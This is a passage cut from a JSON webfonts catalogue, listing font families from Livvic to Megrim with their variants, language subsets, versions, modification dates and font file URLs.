Cao","variants":["regular"],"subsets":["chinese-simplified","latin"],"version":"v5","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/liujianmaocao/v5/845DNN84HJrccNonurqXILGpvCOoferVKGWsUo8.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Livvic","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","900","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-09-25","files":{"100":"http://fonts.gstatic.com/s/livvic/v5/rnCr-x1S2hzjrlffC-M-mHnOSOuk.ttf","100italic":"http://fonts.gstatic.com/s/livvic/v5/rnCt-x1S2hzjrlfXbdtakn3sTfukQHs.ttf","200":"http://fonts.gstatic.com/s/livvic/v5/rnCq-x1S2hzjrlffp8IeslfCQfK9WQ.ttf","200italic":"http://fonts.gstatic.com/s/livvic/v5/rnCs-x1S2hzjrlfXbdv2s13GY_etWWIJ.ttf","300":"http://fonts.gstatic.com/s/livvic/v5/rnCq-x1S2hzjrlffw8EeslfCQfK9WQ.ttf","300italic":"http://fonts.gstatic.com/s/livvic/v5/rnCs-x1S2hzjrlfXbduSsF3GY_etWWIJ.ttf","regular":"http://fonts.gstatic.com/s/livvic/v5/rnCp-x1S2hzjrlfnb-k6unzeSA.ttf","italic":"http://fonts.gstatic.com/s/livvic/v5/rnCr-x1S2hzjrlfXbeM-mHnOSOuk.ttf","500":"http://fonts.gstatic.com/s/livvic/v5/rnCq-x1S2hzjrlffm8AeslfCQfK9WQ.ttf","500italic":"http://fonts.gstatic.com/s/livvic/v5/rnCs-x1S2hzjrlfXbdvKsV3GY_etWWIJ.ttf","600":"http://fonts.gstatic.com/s/livvic/v5/rnCq-x1S2hzjrlfft8ceslfCQfK9WQ.ttf","600italic":"http://fonts.gstatic.com/s/livvic/v5/rnCs-x1S2hzjrlfXbdvmtl3GY_etWWIJ.ttf","700":"http://fonts.gstatic.com/s/livvic/v5/rnCq-x1S2hzjrlff08YeslfCQfK9WQ.ttf","700italic":"http://fonts.gstatic.com/s/livvic/v5/rnCs-x1S2hzjrlfXbduCt13GY_etWWIJ.ttf","900":"http://fonts.gstatic.com/s/livvic/v5/rnCq-x1S2hzjrlff68QeslfCQfK9WQ.ttf","900italic":"http://fonts.gstatic.com/s/livvic/v5/rnCs-x1S2hzjrlfXbdu6tV3GY_etWWIJ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Lobster","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v23","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/lobster/v23/neILzCirqoswsqX9_oWsMqEzSJQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lobster Two","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/lobstertwo/v13/BngMUXZGTXPUvIoyV6yN59fK7KSJ4ACD.ttf","italic":"http://fonts.gstatic.com/s/lobstertwo/v13/BngOUXZGTXPUvIoyV6yN5-fI5qCr5RCDY_k.ttf","700":"http://fonts.gstatic.com/s/lobstertwo/v13/BngRUXZGTXPUvIoyV6yN5-92w4CByxyKeuDp.ttf","700italic":"http://fonts.gstatic.com/s/lobstertwo/v13/BngTUXZGTXPUvIoyV6yN5-fI3hyEwRiof_DpXMY.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Londrina Outline","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/londrinaoutline/v11/C8c44dM8vmb14dfsZxhetg3pDH-SfuoxrSKMDvI.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Londrina Shadow","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/londrinashadow/v10/oPWX_kB4kOQoWNJmjxLV5JuoCUlXRlaSxkrMCQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Londrina Sketch","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/londrinasketch/v9/c4m41npxGMTnomOHtRU68eIJn8qfWWn5Pos6CA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Londrina Solid","variants":["100","300","regular","900"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/londrinasolid/v10/flUjRq6sw40kQEJxWNgkLuudGfs9KBYesZHhV64.ttf","300":"http://fonts.gstatic.com/s/londrinasolid/v10/flUiRq6sw40kQEJxWNgkLuudGfv1CjY0n53oTrcL.ttf","regular":"http://fonts.gstatic.com/s/londrinasolid/v10/flUhRq6sw40kQEJxWNgkLuudGcNZIhI8tIHh.ttf","900":"http://fonts.gstatic.com/s/londrinasolid/v10/flUiRq6sw40kQEJxWNgkLuudGfvdDzY0n53oTrcL.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Long Cang","variants":["regular"],"subsets":["chinese-simplified","latin"],"version":"v5","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/longcang/v5/LYjAdGP8kkgoTec8zkRgrXArXN7HWQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Lora","variants":["regular","500","600","700","italic","500italic","600italic","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v16","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/lora/v16/0QI6MX1D_JOuGQbT0gvTJPa787weuyJGmKxemMeZ.ttf","500":"http://fonts.gstatic.com/s/lora/v16/0QI6MX1D_JOuGQbT0gvTJPa787wsuyJGmKxemMeZ.ttf","600":"http://fonts.gstatic.com/s/lora/v16/0QI6MX1D_JOuGQbT0gvTJPa787zAvCJGmKxemMeZ.ttf","700":"http://fonts.gstatic.com/s/lora/v16/0QI6MX1D_JOuGQbT0gvTJPa787z5vCJGmKxemMeZ.ttf","italic":"http://fonts.gstatic.com/s/lora/v16/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-MoFkqh8ndeZzZ0.ttf","500italic":"http://fonts.gstatic.com/s/lora/v16/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-PgFkqh8ndeZzZ0.ttf","600italic":"http://fonts.gstatic.com/s/lora/v16/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-BQCkqh8ndeZzZ0.ttf","700italic":"http://fonts.gstatic.com/s/lora/v16/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-C0Ckqh8ndeZzZ0.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Love Ya Like A Sister","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/loveyalikeasister/v11/R70EjzUBlOqPeouhFDfR80-0FhOqJubN-Be78nZcsGGycA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Loved by the King","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lovedbytheking/v10/Gw6gwdP76VDVJNXerebZxUMeRXUF2PiNlXFu2R64.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Lovers Quarrel","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/loversquarrel/v8/Yq6N-LSKXTL-5bCy8ksBzpQ_-zAsY7pO6siz.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Luckiest Guy","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/luckiestguy/v11/_gP_1RrxsjcxVyin9l9n_j2RStR3qDpraA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Lusitana","variants":["regular","700"],"subsets":["latin"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/lusitana/v8/CSR84z9ShvucWzsMKxhaRuMiSct_.ttf","700":"http://fonts.gstatic.com/s/lusitana/v8/CSR74z9ShvucWzsMKyDmaccqYtd2vfwk.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Lustria","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/lustria/v8/9oRONYodvDEyjuhOrCg5MtPyAcg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"M PLUS 1p","variants":["100","300","regular","500","700","800","900"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","hebrew","japanese","latin","latin-ext","vietnamese"],"version":"v19","lastModified":"2020-03-03","files":{"100":"http://fonts.gstatic.com/s/mplus1p/v19/e3tleuShHdiFyPFzBRrQnDQAUW3aq-5N.ttf","300":"http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQVBYge0PWovdU4w.ttf","regular":"http://fonts.gstatic.com/s/mplus1p/v19/e3tjeuShHdiFyPFzBRro-D4Ec2jKqw.ttf","500":"http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQDBcge0PWovdU4w.ttf","700":"http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQRBEge0PWovdU4w.ttf","800":"http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQWBIge0PWovdU4w.ttf","900":"http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQfBMge0PWovdU4w.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"M PLUS Rounded 1c","variants":["100","300","regular","500","700","800","900"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","hebrew","japanese","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2019-11-05","files":{"100":"http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGCAYIAV6gnpUpoWwNkYvrugw9RuM3ixLsg6-av1x0.ttf","300":"http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0q5psKxeqmzgRK.ttf","regular":"http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGEAYIAV6gnpUpoWwNkYvrugw9RuPWGzr8C7vav.ttf","500":"http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM1y55sKxeqmzgRK.ttf","700":"http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM064ZsKxeqmzgRK.ttf","800":"http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0m4psKxeqmzgRK.ttf","900":"http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0C45sKxeqmzgRK.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ma Shan Zheng","variants":["regular"],"subsets":["chinese-simplified","latin"],"version":"v5","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/mashanzheng/v5/NaPecZTRCLxvwo41b4gvzkXaRMTsDIRSfr0.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Macondo","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/macondo/v9/RrQQboN9-iB1IXmOS2XO0LBBd4Y.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Macondo Swash Caps","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/macondoswashcaps/v8/6NUL8EaAJgGKZA7lpt941Z9s6ZYgDq6Oekoa_mm5bA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Mada","variants":["200","300","regular","500","600","700","900"],"subsets":["arabic","latin"],"version":"v9","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/mada/v9/7Au_p_0qnzeSdf3nCCL8zkwMIFg.ttf","300":"http://fonts.gstatic.com/s/mada/v9/7Au_p_0qnzeSdZnkCCL8zkwMIFg.ttf","regular":"http://fonts.gstatic.com/s/mada/v9/7Auwp_0qnzeSTTXMLCrX0kU.ttf","500":"http://fonts.gstatic.com/s/mada/v9/7Au_p_0qnzeSdcHlCCL8zkwMIFg.ttf","600":"http://fonts.gstatic.com/s/mada/v9/7Au_p_0qnzeSde3iCCL8zkwMIFg.ttf","700":"http://fonts.gstatic.com/s/mada/v9/7Au_p_0qnzeSdYnjCCL8zkwMIFg.ttf","900":"http://fonts.gstatic.com/s/mada/v9/7Au_p_0qnzeSdbHhCCL8zkwMIFg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Magra","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/magra/v9/uK_94ruaZus72k5xIDMfO-ed.ttf","700":"http://fonts.gstatic.com/s/magra/v9/uK_w4ruaZus72nbNDxcXEPuUX1ow.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Maiden Orange","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/maidenorange/v11/kJE1BuIX7AUmhi2V4m08kb1XjOZdCZS8FY8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Maitree","variants":["200","300","regular","500","600","700"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/maitree/v5/MjQDmil5tffhpBrklhGNWJGovLdh6OE.ttf","300":"http://fonts.gstatic.com/s/maitree/v5/MjQDmil5tffhpBrklnWOWJGovLdh6OE.ttf","regular":"http://fonts.gstatic.com/s/maitree/v5/MjQGmil5tffhpBrkrtmmfJmDoL4.ttf","500":"http://fonts.gstatic.com/s/maitree/v5/MjQDmil5tffhpBrkli2PWJGovLdh6OE.ttf","600":"http://fonts.gstatic.com/s/maitree/v5/MjQDmil5tffhpBrklgGIWJGovLdh6OE.ttf","700":"http://fonts.gstatic.com/s/maitree/v5/MjQDmil5tffhpBrklmWJWJGovLdh6OE.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Major Mono Display","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/majormonodisplay/v5/RWmVoLyb5fEqtsfBX9PDZIGr2tFubRhLCn2QIndPww.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Mako","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mako/v12/H4coBX6Mmc_Z0ST09g478Lo.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mali","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/mali/v4/N0bV2SRONuN4QOLlKlRaJdbWgdY.ttf","200italic":"http://fonts.gstatic.com/s/mali/v4/N0bX2SRONuN4SCj8wlVQIfTTkdbJYA.ttf","300":"http://fonts.gstatic.com/s/mali/v4/N0bV2SRONuN4QIbmKlRaJdbWgdY.ttf","300italic":"http://fonts.gstatic.com/s/mali/v4/N0bX2SRONuN4SCj8plZQIfTTkdbJYA.ttf","regular":"http://fonts.gstatic.com/s/mali/v4/N0ba2SRONuN4eCrODlxxOd8.ttf","italic":"http://fonts.gstatic.com/s/mali/v4/N0bU2SRONuN4SCjECn50Kd_PmA.ttf","500":"http://fonts.gstatic.com/s/mali/v4/N0bV2SRONuN4QN7nKlRaJdbWgdY.ttf","500italic":"http://fonts.gstatic.com/s/mali/v4/N0bX2SRONuN4SCj8_ldQIfTTkdbJYA.ttf","600":"http://fonts.gstatic.com/s/mali/v4/N0bV2SRONuN4QPLgKlRaJdbWgdY.ttf","600italic":"http://fonts.gstatic.com/s/mali/v4/N0bX2SRONuN4SCj80lBQIfTTkdbJYA.ttf","700":"http://fonts.gstatic.com/s/mali/v4/N0bV2SRONuN4QJbhKlRaJdbWgdY.ttf","700italic":"http://fonts.gstatic.com/s/mali/v4/N0bX2SRONuN4SCj8tlFQIfTTkdbJYA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Mallanna","variants":["regular"],"subsets":["latin","telugu"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mallanna/v8/hv-Vlzx-KEQb84YaDGwzEzRwVvJ-.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mandali","variants":["regular"],"subsets":["latin","telugu"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mandali/v9/LhWlMVbYOfASNfNUVFk1ZPdcKtA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Manjari","variants":["100","regular","700"],"subsets":["latin","malayalam"],"version":"v3","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/manjari/v3/k3kSo8UPMOBO2w1UdbroK2vFIaOV8A.ttf","regular":"http://fonts.gstatic.com/s/manjari/v3/k3kQo8UPMOBO2w1UTd7iL0nAMaM.ttf","700":"http://fonts.gstatic.com/s/manjari/v3/k3kVo8UPMOBO2w1UdWLNC0HrLaqM6Q4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Manrope","variants":["200","300","regular","500","600","700","800"],"subsets":["cyrillic","greek","latin","latin-ext"],"version":"v3","lastModified":"2020-06-25","files":{"200":"http://fonts.gstatic.com/s/manrope/v3/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk59FO_F87jxeN7B.ttf","300":"http://fonts.gstatic.com/s/manrope/v3/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk6jFO_F87jxeN7B.ttf","regular":"http://fonts.gstatic.com/s/manrope/v3/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk79FO_F87jxeN7B.ttf","500":"http://fonts.gstatic.com/s/manrope/v3/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk7PFO_F87jxeN7B.ttf","600":"http://fonts.gstatic.com/s/manrope/v3/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk4jE-_F87jxeN7B.ttf","700":"http://fonts.gstatic.com/s/manrope/v3/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk4aE-_F87jxeN7B.ttf","800":"http://fonts.gstatic.com/s/manrope/v3/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk59E-_F87jxeN7B.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mansalva","variants":["regular"],"subsets":["latin"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mansalva/v2/aWB4m0aacbtDfvq5NJllI47vdyBg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Manuale","variants":["regular","500","600","700","italic","500italic","600italic","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v7","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/manuale/v7/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeHke7wD1TB_JHHY.ttf","500":"http://fonts.gstatic.com/s/manuale/v7/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeHWe7wD1TB_JHHY.ttf","600":"http://fonts.gstatic.com/s/manuale/v7/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeE6fLwD1TB_JHHY.ttf","700":"http://fonts.gstatic.com/s/manuale/v7/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeEDfLwD1TB_JHHY.ttf","italic":"http://fonts.gstatic.com/s/manuale/v7/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOFRA3zRdIWHYr8M.ttf","500italic":"http://fonts.gstatic.com/s/manuale/v7/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOGZA3zRdIWHYr8M.ttf","600italic":"http://fonts.gstatic.com/s/manuale/v7/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOIpH3zRdIWHYr8M.ttf","700italic":"http://fonts.gstatic.com/s/manuale/v7/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOLNH3zRdIWHYr8M.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Marcellus","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/marcellus/v8/wEO_EBrOk8hQLDvIAF8FUfAL3EsHiA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Marcellus SC","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/marcellussc/v8/ke8iOgUHP1dg-Rmi6RWjbLEPgdydGKikhA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Marck Script","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/marckscript/v11/nwpTtK2oNgBA3Or78gapdwuCzyI-aMPF7Q.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Margarine","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/margarine/v9/qkBXXvoE6trLT9Y7YLye5JRLkAXbMQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Markazi Text","variants":["regular","500","600","700"],"subsets":["arabic","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/markazitext/v12/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtfSQT4MlBekmJLo.ttf","500":"http://fonts.gstatic.com/s/markazitext/v12/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtcaQT4MlBekmJLo.ttf","600":"http://fonts.gstatic.com/s/markazitext/v12/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtSqXT4MlBekmJLo.ttf","700":"http://fonts.gstatic.com/s/markazitext/v12/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtROXT4MlBekmJLo.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Marko One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/markoone/v10/9Btq3DFG0cnVM5lw1haaKpUfrHPzUw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Marmelad","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/marmelad/v10/Qw3eZQdSHj_jK2e-8tFLG-YMC0R8.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Martel","variants":["200","300","regular","600","700","800","900"],"subsets":["devanagari","latin","latin-ext"],"version":"v5","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/martel/v5/PN_yRfK9oXHga0XVqekahRbX9vnDzw.ttf","300":"http://fonts.gstatic.com/s/martel/v5/PN_yRfK9oXHga0XVzeoahRbX9vnDzw.ttf","regular":"http://fonts.gstatic.com/s/martel/v5/PN_xRfK9oXHga0XtYcI-jT3L_w.ttf","600":"http://fonts.gstatic.com/s/martel/v5/PN_yRfK9oXHga0XVuewahRbX9vnDzw.ttf","700":"http://fonts.gstatic.com/s/martel/v5/PN_yRfK9oXHga0XV3e0ahRbX9vnDzw.ttf","800":"http://fonts.gstatic.com/s/martel/v5/PN_yRfK9oXHga0XVwe4ahRbX9vnDzw.ttf","900":"http://fonts.gstatic.com/s/martel/v5/PN_yRfK9oXHga0XV5e8ahRbX9vnDzw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Martel Sans","variants":["200","300","regular","600","700","800","900"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/martelsans/v7/h0GxssGi7VdzDgKjM-4d8hAX5suHFUknqMxQ.ttf","300":"http://fonts.gstatic.com/s/martelsans/v7/h0GxssGi7VdzDgKjM-4d8hBz5cuHFUknqMxQ.ttf","regular":"http://fonts.gstatic.com/s/martelsans/v7/h0GsssGi7VdzDgKjM-4d8ijfze-PPlUu.ttf","600":"http://fonts.gstatic.com/s/martelsans/v7/h0GxssGi7VdzDgKjM-4d8hAH48uHFUknqMxQ.ttf","700":"http://fonts.gstatic.com/s/martelsans/v7/h0GxssGi7VdzDgKjM-4d8hBj4suHFUknqMxQ.ttf","800":"http://fonts.gstatic.com/s/martelsans/v7/h0GxssGi7VdzDgKjM-4d8hB_4cuHFUknqMxQ.ttf","900":"http://fonts.gstatic.com/s/martelsans/v7/h0GxssGi7VdzDgKjM-4d8hBb4MuHFUknqMxQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Marvel","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/marvel/v10/nwpVtKeoNgBV0qaIkV7ED366zg.ttf","italic":"http://fonts.gstatic.com/s/marvel/v10/nwpXtKeoNgBV0qa4k1TALXuqzhA7.ttf","700":"http://fonts.gstatic.com/s/marvel/v10/nwpWtKeoNgBV0qawLXHgB1WmxwkiYQ.ttf","700italic":"http://fonts.gstatic.com/s/marvel/v10/nwpQtKeoNgBV0qa4k2x8Al-i5QwyYdrc.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mate","variants":["regular","italic"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mate/v9/m8JdjftRd7WZ2z28WoXSaLU.ttf","italic":"http://fonts.gstatic.com/s/mate/v9/m8JTjftRd7WZ6z-2XqfXeLVdbw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Mate SC","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/matesc/v9/-nF8OGQ1-uoVr2wKyiXZ95OkJwA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Maven Pro","variants":["regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v21","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/mavenpro/v21/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8SX25nCpozp5GvU.ttf","500":"http://fonts.gstatic.com/s/mavenpro/v21/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8Rf25nCpozp5GvU.ttf","600":"http://fonts.gstatic.com/s/mavenpro/v21/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8fvx5nCpozp5GvU.ttf","700":"http://fonts.gstatic.com/s/mavenpro/v21/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8cLx5nCpozp5GvU.ttf","800":"http://fonts.gstatic.com/s/mavenpro/v21/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8aXx5nCpozp5GvU.ttf","900":"http://fonts.gstatic.com/s/mavenpro/v21/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8Yzx5nCpozp5GvU.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"McLaren","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mclaren/v8/2EbnL-ZuAXFqZFXISYYf8z2Yt_c.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Meddon","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/meddon/v13/kmK8ZqA2EgDNeHTZhBdB3y_Aow.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"MedievalSharp","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-15","files":{"regular":"http://fonts.gstatic.com/s/medievalsharp/v12/EvOJzAlL3oU5AQl2mP5KdgptAq96MwvXLDk.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Medula One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/medulaone/v10/YA9Wr0qb5kjJM6l2V0yukiEqs7GtlvY.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Meera Inimai","variants":["regular"],"subsets":["latin","tamil"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/meerainimai/v5/845fNMM5EIqOW5MPuvO3ILep_2jDVevnLQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Megrim","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/megrim/v11/46kulbz5WjvLqJZlbWXgd0RY1g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Meie 